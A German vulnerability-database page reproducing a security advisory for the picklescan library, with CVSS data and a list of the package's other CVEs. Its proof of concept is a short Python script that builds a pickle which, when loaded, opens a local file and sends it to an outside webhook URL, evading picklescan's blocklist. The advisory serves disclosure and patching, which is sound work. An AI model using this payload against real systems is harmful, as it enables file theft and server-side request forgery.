Hoch

picklescan has Arbitrary file read using `io.FileIO`

  • Veröffentlicht: 08.01.2026
  • Aktualisiert: 11.10.2026 13:18

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

python
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 0.0.35 0.0.35

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-918
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
08.01.2026
Aktualisiert
11.10.2026 13:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1787 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9726-w42j-3qjr - CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. picklescan has Arbitrary file read using `io.FileIO` dieser Eintrag
    Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  7. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  9. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.